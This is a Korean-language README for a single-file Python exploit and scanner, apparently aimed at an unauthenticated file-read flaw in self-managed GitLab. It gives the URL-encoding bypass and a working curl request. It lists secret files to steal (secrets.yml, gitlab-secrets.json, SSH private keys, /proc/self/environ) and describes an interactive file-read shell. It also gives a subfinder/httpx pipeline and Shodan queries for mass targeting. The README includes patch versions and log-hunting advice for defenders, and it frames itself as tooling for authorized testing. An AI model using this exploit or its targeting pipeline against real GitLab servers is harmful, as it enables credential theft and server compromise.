
자체 관리형 GitLab CE/EE의 인증되지 않은 임의 파일 읽기 취약점인 CVE-2026-85706에 대한 단일 파일 Python 스캐너 및 익스플로잇으로, 프로젝트 열거, loot 경로, 대화형 셸을 제공합니다.
CVE-2026-85706 — GitLab CE/EE 인증되지 않은 임의 파일 읽기
탐지 · 공개 프로젝트 열거 · 탈취 · 대화형 셸 · subfinder/httpx 파이프라인
작성자: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
사이트: ynsmroztas.github.io
메일: [email protected]
본인이 소유하거나 명시적으로 테스트 권한을 부여받은 시스템(버그 바운티 / VDP / 서면 계약)에서만 사용하십시오.
GitLabSniper.py는 CVE-2026-85706을 위한 단일 파일 Python 스캐너/익스플로잇입니다. 이 취약점은 자체 관리형 GitLab Community Edition 및 Enterprise Edition에서 발생하는 인증되지 않은 로컬 파일 읽기입니다.
이 도구는 "버전이 취약해 보인다"는 수준에서 멈추지 않습니다. Workhorse 파서 차이 우회를 실행하고, Rails 응답을 분류하며, 400 응답 본문의 invalid %-encoding (...) 안에 파일 바이트가 포함된 경우에만 FILE LEAK을 출력합니다.
| 구분 | 버전 |
|---|---|
| 영향받음 | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| 패치됨 | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| 범위 외 | gitlab.com · GitLab Dedicated |
세 개의 repository 엔드포인트가 Workhorse requestBodyUploader 뒤에 위치합니다:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails는 원시 file.path 필드를 받아 authenticate! 이전에 File.open을 실행합니다. 여기서 require_gitlab_workhorse!는 실질적인 게이트가 아닙니다. Workhorse는 프록시하는 모든 항목에 유효한 Gitlab-Workhorse-Api-Request JWT를 이미 부여합니다.
Workhorse는 먼저 업로드를 재작성해야 했습니다. 하지만 그 라우트 정규식은 EscapedPath() 와 퍼센트 디코딩을 하지 않는 path.Clean 복제본에 매칭됩니다. Puma는 Grape 라우팅 전에 %XX를 디코딩합니다.
공격자
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← 후행 슬래시도 통과
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse 정규식이 "%63ommits" / "commits/" 확인 → MISS (재작성 없음)
│
▼
Puma %63 디코딩 → commits → Rails로 라우팅
│
▼
Rails File.open(params[:file][:path]) → 인증 이전
│
▼
Rack parse_nested_query(File.read(path))
%HH가 아닌 잘못된 "%"
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<원시 파일 바이트>)
file=을 비워두면 requires :file, WorkhorseFile을 충족합니다(빈 값 → nil). 유출 채널은 urlencoded 분기입니다. JSON/Oj는 파일 바이트를 같은 방식으로 반환하지 않습니다. 이 도구는 항상 Content-Type=application/x-www-form-urlencoded를 전송합니다.
//, /./, %2F, ;는 우회하지 못합니다. path.Clean이 처음 두 개를 정규화하고 Puma는 %2F를 거부합니다.
프로젝트 id는 "어떤 저장소에서 파일을 훔칠지"를 지정하는 것이 아닙니다. file.path는 서버의 절대 경로입니다. id는 취약한 컨트롤러에 도달하기 위한 URL 조각일 뿐입니다.
이 때문에 도구는 GET /api/v4/projects를 열거하고 게이트가 걸린 id를 건너뜁니다.
확정된 유출은 본문에 다음 부분 문자열이 있어야 합니다:
invalid %-encoding (
단독 %가 없는 파일은 여전히 열릴 수 있지만(read-noecho / 이후 branch is required) 바이트를 반환하지 않습니다. 이는 오라클이며 보고 가능한 덤프가 아닙니다.
x-gitlab-* / sign-in) + 버전이 노출될 경우 범위 확인GET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · pip install requests
python3 GitLabSniper.py -h
Python 3.10+. 다른 의존성 없음.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin이 TTY가 아님 → --pipe가 암시됨
cat hosts.txt | python3 GitLabSniper.py --auto
파서가 허용하는 형식:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json 객체 (url / status_code)host 및 host:port[0] / 타임아웃 / 빈 행은 건너뜀종료 코드: 0 유출 · 1 오라클만 / 파이프에서 유출 없음 · 2 사용 가능한 신호 없음.
read-noecho만으로 critical을 제출하지 마십시오.
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ
반환될 때 가장 큰 영향을 미치는 파일: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, DB 비밀번호).
curl -sk -X POST \
"https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
취약한 인스턴스는 다음과 유사한 JSON을 반환합니다:
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}
일부 호스트에서는 %63ommits가 401이고 /repository/commits/ (후행 슬래시)가 유출되는 폼입니다. 도구는 모든 변형을 순회합니다.
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"
subfinder | httpx | GitLabSniper.py --pipe --auto와 함께 사용하십시오.
이 저장소는 패치 이후의 권한 있는 보안 테스트 및 방어 검증을 위한 것입니다. 범위에 대한 책임은 사용자에게 있습니다.
영향받는 범위의 자체 관리형 GitLab 서버를 운영 중이라면: 지금 19.1.8 / 19.2.6 / 19.3.2로 업그레이드하십시오. 접근 로그에서 file.path 쿼리 파라미터가 포함된 POST /api/v4/projects/*/repository/commits를 찾으십시오.
취약점은 s3ntago가 GitLab HackerOne을 통해 보고했습니다.
이 도구의 기반이 된 라이트업 및 원본 PoC:
https://github.com/guneykabel/cve-2026-85706
명확한 분류기(leak / missing / project-gate / rewrite)와 Workhorse ↔ Puma 차이 설명을 공개해 주신 guneykabel께 감사드립니다. GitLabSniper는 그 모델을 프로젝트 열거, 탈취, 셸, 정찰 파이프라인으로 감쌌습니다.
GitLab 권고 / 패치: CE/EE 19.1.8, 19.2.6, 19.3.2.
Yunus Emre Öztaş · mitsec
[email protected]| 엔드포인트 | 프로젝트 요구사항 |
|---|
files (%66iles) | 대부분의 id가 작동 — File.open이 프로젝트 검사 이전에 실행됨 |
commits (%63ommits, commits/, commits.json) | 익명 사용자가 read_code할 수 있는 프로젝트 필요. 그렇지 않으면 404 Project Not Found |
noroute--auto 탈취 목록 (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, ssh 키, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI 제거-o)| 플래그 | 의미 |
|---|
-u / -t / --target | 단일 기본 URL |
--pipe | stdin에서 대상 읽기 |
-f / --list | 호스트 파일 |
--file | 읽을 하나의 절대 경로 |
--auto / --loot | 고가치 GitLab 파일 목록 |
--shell | 대화형 파일 읽기 셸 |
--project-id | 프로젝트 id 강제 지정 (기본값: 열거 + 대체) |
--max-projects | 열거/대체 id 상한 (기본값 8) |
--force | 핑거프린트가 약해도 스캔 |
--threads | 파이프라인 워커 (기본값 8) |
--timeout | 초 (기본값 15) |
-o | hits.json 또는 hits.jsonl |
-q | 조용히 |
--no-banner | 배너 없음 |
| 태그 | 의미 | 보고? |
|---|
leak | invalid %-encoding ( + 파일 바이트 | 예 — 확정 |
leak-fragment | 부분 반환 | 아마도, 본문 첨부 |
read-noecho | open 이후 401 / branch is required, 파일에 % 없음 | 오라클만 |
missing | local file not present — 우회가 디스크에 도달함 | 존재 오라클 |
project-gate | 404 Project Not Found | 다른 공개 id 시도 |
rewrite | Workhorse가 본문을 재작성함 (Invalid json) | 이 폼은 죽음 |
noroute | 일반 404 | 패치됨 또는 잘못된 경로 |
other | 500 / 잔여 | 주장하기 전에 본문 덤프 |